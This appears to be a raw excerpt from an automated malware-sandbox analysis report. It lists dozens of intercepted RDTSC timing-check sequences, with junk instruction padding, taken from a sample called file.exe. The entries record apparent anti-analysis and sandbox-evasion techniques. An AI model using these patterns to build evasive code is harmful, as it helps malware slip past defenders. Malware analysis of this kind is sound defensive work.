Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD4FB second address: 6BD511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F8CBC7212h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD511 second address: 6BD51D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 js 00007F1F8C74D6E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD51D second address: 6BD522 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3211 second address: 6C322B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F1F8C74D6F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C322B second address: 6C3257 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1F8CBC7211h 0x00000009 jmp 00007F1F8CBC7217h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2074 second address: 6C207E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2DB1 second address: 6C2DBF instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1F8CBC7206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2DBF second address: 6C2DC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2F4B second address: 6C2F54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2F54 second address: 6C2F70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F8C74D6F7h 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C887D second address: 6C888B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jng 00007F1F8CBC7206h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C888B second address: 6C8893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C720A second address: 6C7210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C7210 second address: 6C7214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C7214 second address: 6C722B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push esi 0x00000008 jbe 00007F1F8CBC7206h 0x0000000e pop esi 0x0000000f je 00007F1F8CBC720Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C73B5 second address: 6C73CC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1F8C74D6EEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C73CC second address: 6C73E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1F8CBC7215h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C73E7 second address: 6C73EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C7591 second address: 6C75C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8CBC7216h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1F8CBC720Dh 0x00000012 push eax 0x00000013 pushad 0x00000014 popad 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C79F7 second address: 6C7A0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1F8C74D6F4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C7A0F second address: 6C7A13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C7A13 second address: 6C7A24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jp 00007F1F8C74D6E6h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C7BC4 second address: 6C7BCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C7BCA second address: 6C7BEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1F8C74D6F7h 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C7D17 second address: 6C7D25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jo 00007F1F8CBC7206h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C800C second address: 6C8012 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C8012 second address: 6C801E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C801E second address: 6C802D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F8C74D6EBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C802D second address: 6C803F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F1F8CBC720Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6E9E second address: 6C6EA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6EA4 second address: 6C6EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F1F8CBC720Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6EB5 second address: 6C6ED0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8C74D6F5h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6ED0 second address: 6C6EE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F8CBC720Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6EE1 second address: 6C6F00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1F8C74D6EDh 0x0000000f ja 00007F1F8C74D6F2h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6F00 second address: 6C6F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6F06 second address: 6C6F0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB7BE second address: 6CB801 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8CBC7217h 0x00000007 jc 00007F1F8CBC7206h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F1F8CBC7215h 0x00000014 pop ecx 0x00000015 pushad 0x00000016 pushad 0x00000017 jo 00007F1F8CBC7206h 0x0000001d push esi 0x0000001e pop esi 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB801 second address: 6CB81E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1F8C74D6F6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655EA6 second address: 655EAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D0AE9 second address: 6D0AEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D0AEE second address: 6D0AF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D0AF3 second address: 6D0B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c jc 00007F1F8C74D6E6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D0B07 second address: 6D0B0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF53B second address: 6CF544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D0359 second address: 6D035F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D035F second address: 6D0367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D7E57 second address: 6D7E64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007F1F8CBC7208h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D7E64 second address: 6D7E7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 jnc 00007F1F8C74D6E6h 0x0000000d jnc 00007F1F8C74D6E6h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D6C4A second address: 6D6C55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D6C55 second address: 6D6C59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D6C59 second address: 6D6C81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1F8CBC7210h 0x0000000f jmp 00007F1F8CBC720Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D6C81 second address: 6D6C8B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1F8C74D6E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6987CE second address: 6731F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F1F8CBC7211h 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F1F8CBC7208h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 mov ch, C6h 0x00000029 lea eax, dword ptr [ebp+1248A4DDh] 0x0000002f jmp 00007F1F8CBC720Bh 0x00000034 nop 0x00000035 jne 00007F1F8CBC7210h 0x0000003b push eax 0x0000003c jne 00007F1F8CBC7214h 0x00000042 nop 0x00000043 mov dword ptr [ebp+122D374Ah], ebx 0x00000049 call dword ptr [ebp+122D2768h] 0x0000004f pushad 0x00000050 jnp 00007F1F8CBC720Ah 0x00000056 pushad 0x00000057 popad 0x00000058 push edi 0x00000059 pop edi 0x0000005a push esi 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 698CD3 second address: 4E18C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a adc ch, 00000044h 0x0000000d push dword ptr [ebp+122D076Dh] 0x00000013 xor dword ptr [ebp+122D352Dh], eax 0x00000019 mov dl, al 0x0000001b call dword ptr [ebp+122D1C0Fh] 0x00000021 pushad 0x00000022 jmp 00007F1F8C74D6ECh 0x00000027 xor eax, eax 0x00000029 mov dword ptr [ebp+122D273Bh], edi 0x0000002f mov edx, dword ptr [esp+28h] 0x00000033 add dword ptr [ebp+122D261Fh], ecx 0x00000039 mov dword ptr [ebp+122D28E8h], eax 0x0000003f pushad 0x00000040 and esi, dword ptr [ebp+122D2818h] 0x00000046 jmp 00007F1F8C74D6F7h 0x0000004b popad 0x0000004c mov esi, 0000003Ch 0x00000051 sub dword ptr [ebp+122D273Bh], esi 0x00000057 add esi, dword ptr [esp+24h] 0x0000005b pushad 0x0000005c mov ax, di 0x0000005f mov ebx, edi 0x00000061 popad 0x00000062 lodsw 0x00000064 sub dword ptr [ebp+122D273Bh], ecx 0x0000006a add eax, dword ptr [esp+24h] 0x0000006e pushad 0x0000006f mov dword ptr [ebp+122D273Bh], edi 0x00000075 mov dword ptr [ebp+122D273Bh], ecx 0x0000007b popad 0x0000007c mov ebx, dword ptr [esp+24h] 0x00000080 pushad 0x00000081 mov dword ptr [ebp+122D273Bh], edi 0x00000087 call 00007F1F8C74D6F5h 0x0000008c mov dword ptr [ebp+122D273Bh], ecx 0x00000092 pop edi 0x00000093 popad 0x00000094 nop 0x00000095 push eax 0x00000096 push edx 0x00000097 jmp 00007F1F8C74D6ECh 0x0000009c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 698FC8 second address: 698FEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8CBC720Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1F8CBC7210h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6990E8 second address: 69910A instructions: 0x00000000 rdtsc 0x00000002 je 00007F1F8C74D6E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F1F8C74D6EFh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69910A second address: 69911F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8CBC7211h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69911F second address: 699124 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6997A0 second address: 6997B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1F8CBC7214h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D70E7 second address: 6D7104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F1F8C74D6EFh 0x0000000f popad 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D7541 second address: 6D7547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D7547 second address: 6D754F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D771F second address: 6D7725 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D7725 second address: 6D7731 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1F8C74D6EEh 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D7854 second address: 6D785C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D79E0 second address: 6D7A16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jnp 00007F1F8C74D6E6h 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F1F8C74D6F9h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F1F8C74D6EDh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD44A second address: 6DD454 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1F8CBC7206h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD71D second address: 6DD722 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD722 second address: 6DD728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD728 second address: 6DD738 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 jp 00007F1F8C74D6E6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD738 second address: 6DD73E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD73E second address: 6DD75D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007F1F8C74D6E8h 0x0000000f jmp 00007F1F8C74D6EEh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD75D second address: 6DD787 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1F8CBC720Eh 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F1F8CBC7215h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD787 second address: 6DD790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD790 second address: 6DD7A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F8CBC7215h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DFE64 second address: 6DFE6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF9C3 second address: 6DF9C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E2C75 second address: 6E2C95 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8C74D6F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F1F8C74D71Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E2C95 second address: 6E2C99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E2C99 second address: 6E2C9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E2F5C second address: 6E2FB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8CBC7217h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnc 00007F1F8CBC7212h 0x00000010 jnc 00007F1F8CBC7216h 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 jno 00007F1F8CBC7206h 0x0000001f jbe 00007F1F8CBC7206h 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E872A second address: 6E8735 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8735 second address: 6E873E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E873E second address: 6E8742 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E7E99 second address: 6E7E9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E7E9F second address: 6E7F02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop ecx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jno 00007F1F8C74D6E6h 0x00000015 popad 0x00000016 jc 00007F1F8C74D700h 0x0000001c jmp 00007F1F8C74D6F8h 0x00000021 push eax 0x00000022 pop eax 0x00000023 popad 0x00000024 push edi 0x00000025 jmp 00007F1F8C74D6F5h 0x0000002a pushad 0x0000002b jc 00007F1F8C74D6E6h 0x00000031 jmp 00007F1F8C74D6EDh 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E807B second address: 6E807F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8302 second address: 6E8330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F1F8C74D6F5h 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F1F8C74D6EFh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
